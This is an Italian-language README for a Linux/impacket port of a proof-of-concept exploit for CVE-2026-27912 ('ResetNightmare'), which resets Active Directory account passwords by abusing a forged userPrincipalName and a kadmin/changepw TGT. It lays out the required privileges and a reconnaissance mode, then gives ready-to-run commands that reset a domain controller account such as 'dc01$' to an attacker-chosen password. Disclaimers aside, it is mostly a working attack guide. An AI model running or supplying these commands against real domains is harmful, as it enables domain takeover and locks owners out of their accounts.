
CVE-2026-27912 (ResetNightmare) — port Linux/impacket del PoC Invoke-ResetNightmare della Semperis Community
Strumenti Linux / impacket per CVE-2026-27912 ("ResetNightmare"). Reimposta la password di un account Active Directory di destinazione richiedendo un TGT kadmin/changepw per un principal NT_ENTERPRISE il cui nome è il sAMAccountName della destinazione, utilizzando un account (UPNUser) sul quale possiamo scrivere un userPrincipalName falso.
Port Python dello strumento PowerShell Semperis Community Invoke-ResetNightmare (vedi Crediti).
Solo per test di sicurezza autorizzati e uso didattico. Questo strumento modifica credenziali Active Directory reali e può bloccare l'accesso agli account.
GenericAll, imposta la sua password, abilitalo.sAMAccountName della destinazione.UPNUser.userPrincipalName = <targetSAN> (l'UPN falso).NT_ENTERPRISE '<targetSAN>' per kadmin/changepw — il KDC mappa l'UPN enterprise sulla destinazione ed emette per essa un TGT per il cambio password.--upn-user--upn-user è l'account sul quale scrivi l'UPN falso (un utente, o un computer con --computer). L'unico requisito è che tu possa scrivere il suo userPrincipalName. Ci sono tre modi per ottenerlo — gli stessi su cui si basa l'originale PowerShell:
| # | Come ottieni la scrittura dell'UPN | Flag | Richiede una OU? |
|---|---|---|---|
| A | Crea l'account in una OU in cui hai Create Child → ne sei proprietario → lo strumento si concede GenericAll → scrive l'UPN | --create-new-path | Sì |
| B | Un account esistente sul quale hai già GenericWrite / GenericAll / WriteProperty(userPrincipalName) | (nessuna) | No |
| C | Un account esistente di cui sei proprietario o sul quale hai WriteDacl (nessuna scrittura diretta della proprietà) | --grant-self | No |
Quindi non hai necessariamente bisogno di controllare una OU — il percorso B funziona tramite diritti delegati su un singolo account. Ma ti serve uno tra A/B/C. Esegui --find per vedere quale hai.
Un computer di dominio da solo non basta. Una macchina su cui sei admin locale / di cui possiedi l'hash — ma sulla quale non hai diritti di scrittura AD — non ti dà nessuno tra A/B/C. E un computer creato tramite MachineAccountQuota (
addcomputer.pyinCN=Computers) non funziona neppure: il suo creatore non è il proprietario e non ottiene la scrittura dell'UPN, quindi sia la scrittura diretta sia--grant-selffalliscono conresult 50. Usa il percorso A con una OU delegata.
python3 -m venv venv
./venv/bin/pip install -r requirements.txt
Le credenziali dell'operatore sono il primo argomento posizionale: [domain/]username[:password].
Qualsiasi password può essere omessa e ti verrà richiesto di inserirla.
Ricognizione — cosa può sfruttare questo account? Riporta gli account su cui puoi scrivere un UPN, le OU in cui puoi creare oggetti e il MachineAccountQuota, con i comandi suggeriti:
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 --find
Ogni risultato stampa la/e sua/e motivazione/i via: e l'owner: dell'oggetto. L'owner distingue a colpo d'occhio i due percorsi di creazione del computer — un computer creato tramite container delegato mostra owner: <you> (hai implicitamente WRITE_DAC, quindi --grant-self funziona), mentre uno MAQ / CN=Computers mostra owner: BUILTIN\Administrators (tu no, quindi non può essere utilizzato):
=== Accounts you can write a UPN on (use as --upn-user) ===
[+] svc_web CN=svc_web,OU=Services,DC=corp,DC=local
via: WriteProperty(userPrincipalName)
owner: Domain Admins
Reimposta un target usando un account su cui puoi scrivere un UPN:
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 \
--upn-user svc_web --upn-user-password 'Svc#2026' \
--target-account 'dc01$' \
--target-new-password 'N3wPassw0rd!'
Creare prima l'account UPN (richiede Create Child sull'OU e LDAPS):
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 \
--create-new-path 'OU=Staging,OU=Corp,DC=corp,DC=local' \
--upn-user pwned_user --upn-user-password 'N3wUpnPass1!' \
--target-account 'dc01$' \
--target-new-password 'N3wPassw0rd!'
Creare un account computer come account UPN (--create-new-path + --computer):
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 \
--create-new-path 'OU=Staging,OU=Corp,DC=corp,DC=local' --computer \
--upn-user 'pwned_pc$' --upn-user-password 'N3wUpnPass1!' \
--target-account 'dc01$' \
--target-new-password 'N3wPassw0rd!'
Account esistente in cui puoi riscrivere la DACL ma non scrivere l'UPN (--grant-self).
Quando --find segnala un --upn-user raggiungibile tramite Owner o WriteDacl (puoi
modificarne l'ACL ma non hai la scrittura diretta delle proprietà), --grant-self aggiunge prima una ACE GenericAll per
te, poi l'attacco procede. Solo per account esistenti — --create-new-path
si concede già i permessi da solo.
./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
--dc-ip 10.0.0.10 --grant-self \
--upn-user svc_legacy --upn-user-password 'Svc#2026' \
--target-account 'dc01$' \
--target-new-password 'N3wPassw0rd!'
Se
--grant-selfstesso fallisce conresult 50, non sei il proprietario e non hai WriteDacl su quell'account — non può aiutare. Questo è il risultato abituale per un computer che hai creato tramiteaddcomputer.py/MAQ: i creatori tipicamente non ottengono né la proprietà né una scrittura UPN, quindi i computer MAQ non sono utilizzabili come--upn-user. Esegui--finde scegli un account che segnala comeWriteProperty(userPrincipalName),GenericWrite,GenericAll,OwneroWriteDacl.
Aggiungi -debug per il logging dettagliato di AS-REQ / LDAP / kpasswd.